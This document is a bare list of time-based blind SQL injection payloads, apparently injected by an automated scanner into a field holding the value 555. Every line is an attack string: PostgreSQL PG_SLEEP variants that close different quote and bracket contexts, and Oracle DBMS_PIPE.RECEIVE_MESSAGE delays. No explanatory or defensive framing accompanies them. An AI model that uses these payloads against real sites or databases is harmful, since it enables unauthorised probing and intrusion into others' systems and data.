555-1 OR 81=(SELECT 81 FROM PG_SLEEP(15))--

555-1) OR 518=(SELECT 518 FROM PG_SLEEP(15))--

555-1)) OR 438=(SELECT 438 FROM PG_SLEEP(15))--

555mr6zFkfD' OR 776=(SELECT 776 FROM PG_SLEEP(15))--

555MgaKbBQh') OR 761=(SELECT 761 FROM PG_SLEEP(15))--

5553M28tLej')) OR 800=(SELECT 800 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555